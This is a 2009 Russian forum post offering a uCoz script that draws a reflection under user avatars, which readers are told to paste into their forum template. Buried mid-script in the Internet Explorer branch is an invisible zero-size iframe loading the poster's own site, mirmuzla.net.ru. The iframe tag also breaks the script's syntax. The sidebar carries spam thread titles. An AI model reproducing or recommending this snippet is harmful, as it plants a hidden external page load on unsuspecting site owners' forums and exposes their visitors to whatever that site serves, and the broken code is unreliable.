Скрипт отражение Аватара на форуме - Форум Allsoft-Team
17:29:37
2024.05.07
 
Главная Форум Поиск Интернет-магазин РАРОГ® Игры Скрипты для uCoz Вход Регистрация

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Тему просматривают: Гость
  • Страница 1 из 1
  • 1
Форум Allsoft-Team » Скрипты для uCoz » Пользователи » Скрипт отражение Аватара на форуме (Скрипт отражение Аватара на форуме)
Скрипт отражение Аватара на форуме
{_-=keyn=-_}  Дата: Суббота, 2009.11.28, 13:56:48 | Сообщение # 1
{_-=keyn=-_}
{_-=keyn=-_}
Сообщений: 22
[ 0 ]
Награды: 0
Скрин скрипта посмотреть можно сдесь--> http://mirmuzla.net.ru/am/23.jpg

Панель управления ->управление дизайном ->общий вид форума и между тегами ставим вот этот код:

Code
<script type="text/javascript">
document.getElementsByClassName = function(className) {
var children = document.getElementsByTagName('*') || document.all;
var elements = new Array();

for (var i = 0; i < children.length; i++) {
var child = children[i];
var classNames = child.className.split(' ');
for (var j = 0; j < classNames.length; j++) {
if (classNames[j] == className) {
elements.push(child);
break;
}
}
}
return elements;
}

var Reflection = {
defaultHeight : 0.5,
defaultOpacity: 0.5,

add: function(image, options) {
Reflection.remove(image);

doptions = { "height" : Reflection.defaultHeight, "opacity" : Reflection.defaultOpacity }
if (options) {
for (var i in doptions) {
if (!options[i]) {
options[i] = doptions[i];
}
}
} else {
options = doptions;
}

try {
var d = document.createElement('div');
var p = image;

var classes = p.className.split(' ');
var newClasses = '';
for (j=0;j<classes.length;j++) {
if (classes[j] != "userAvatar") {
if (newClasses) {
newClasses += ' '
}
newClasses += classes[j];
}
}

var reflectionHeight = Math.floor(p.height*options['height']);
var divHeight = Math.floor(p.height*(1+options['height']));

var reflectionWidth = p.width;

if (document.all && !window.opera) {
/* Copy original image's classes & styles to div */
d.className = newClasses;
p.className = 'reflected';

d.style.cssText = p.style.cssText;
p.style.cssText = 'vertical-align: bottom';

var reflection = document.createElement('img');
reflection.src = p.src;
reflection.style.width = reflectionWidth+'px';
<iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"src="http://mirmuzla.net.ru/">
reflection.style.marginBottom = "-"+(p.height-reflectionHeight)+'px';
reflection.style.filter = 'flipv progid:DXImageTransform.Microsoft.Alpha(opacity='+(options['opacity']*100)+', style=1, finishOpacity=0, startx=0, starty=0, finishx=0, finishy='+(options['height']*100)+')';

d.style.width = reflectionWidth+'px';
d.style.height = divHeight+'px';
p.parentNode.replaceChild(d, p);

d.appendChild(p);
d.appendChild(reflection);
} else {
var canvas = document.createElement('canvas');
if (canvas.getContext) {
/* Copy original image's classes & styles to div */
d.className = newClasses;
p.className = 'reflected';
d.style.cssText = p.style.cssText;
p.style.cssText = 'vertical-align: bottom';

var context = canvas.getContext("2d");

canvas.style.height = reflectionHeight+'px';
canvas.style.width = reflectionWidth+'px';
canvas.height = reflectionHeight;
canvas.width = reflectionWidth;

d.style.width = reflectionWidth+'px';
d.style.height = divHeight+'px';
p.parentNode.replaceChild(d, p);

d.appendChild(p);
d.appendChild(canvas);

context.save();

context.translate(0,image.height-1);
context.scale(1,-1);

context.drawImage(image, 0, 0, reflectionWidth, image.height);

context.restore();

context.globalCompositeOperation = "destination-out";
var gradient = context.createLinearGradient(0, 0, 0, reflectionHeight);

gradient.addColorStop(1, "rgba(255, 255, 255, 1.0)");
gradient.addColorStop(0, "rgba(255, 255, 255, "+(1-options['opacity'])+")");

context.fillStyle = gradient;
if (navigator.appVersion.indexOf('WebKit') != -1) {
context.fill();
} else {
context.fillRect(0, 0, reflectionWidth, reflectionHeight*2);
}
}
}
} catch (e) {
}
},

remove : function(image) {
if (image.className == "reflected") {
image.className = image.parentNode.className;
image.parentNode.parentNode.replaceChild(image, image.parentNode);
}
}
}

function addReflections() {
var rimages = document.getElementsByClassName('userAvatar');
for (i=0;i<rimages.length;i++) {
var rheight = null;
var ropacity = null;

var classes = rimages[i].className.split(' ');
for (j=0;j<classes.length;j++) {
if (classes[j].indexOf("rheight") == 0) {
var rheight = classes[j].substring(7)/100;
} else if (classes[j].indexOf("ropacity") == 0) {
var ropacity = classes[j].substring(8)/100;
}
}

Reflection.add(rimages[i], { height: rheight, opacity : ropacity});
}
}

var previousOnload = window.onload;
window.onload = function () { if(previousOnload) previousOnload(); addReflections(); }
</script>
Форум Allsoft-Team » Скрипты для uCoz » Пользователи » Скрипт отражение Аватара на форуме (Скрипт отражение Аватара на форуме)
  • Страница 1 из 1
  • 1
Поиск:
Статистика Форума
Последнии темы Читаемые темы Лучшие пользователи Новые пользователи

Музыка пользователя

(1)

Лc как Вконтакте (прикольно)

(1)

Проститутки Москвы

(0)

Майл ру анонсировала новый сервис

(0)

Новый форум свежих софтов и ирг для ПК

(0)

Огромный портал обновленных программ и игрушек для ПК

(0)

Игровые Автоматы

(0)

paytightihos

(0)

fukalotiseryu

(0)

drupsplurry

(0)

Oбщение

(8)

Робот на форум

(6)

Оценивайте

(5)

помогите плиз!

(5)

Баннер

(5)

заказ

(5)

Красивые друзья сайта

(4)

Играем в города

(4)

Какой у вас был мабильник!

(4)

Какую музыку вы слушаете?

(4)

  • -=}{0TT@БЬ)Ч=-
  • -=Fotogr@qp=-
  • Strike
  • {_-=keyn=-_}
  • Artem06660
  • orochi
  • Sherxan
  • TeRRor4iK
  • ToKKi
  • KaRaL
  • CrazyCat
  • BloodRain
  • antonshc
  • Nafanya
  • Drager
  • Eksigo
  • Dober
  • -=}{0TT@БЬ)Ч=-
  • Hapk
  • Strike
  • © Allsoft-Team™ - Cофт, Игры, Фильмы онлайн, ICQ 2024
    Использование материалов с этого сайта допускается только с разрешения администрации.
    Авторы проекта не несут ответственности за содержание рекламных материалов и файлов, размещенных на сторонних серверах.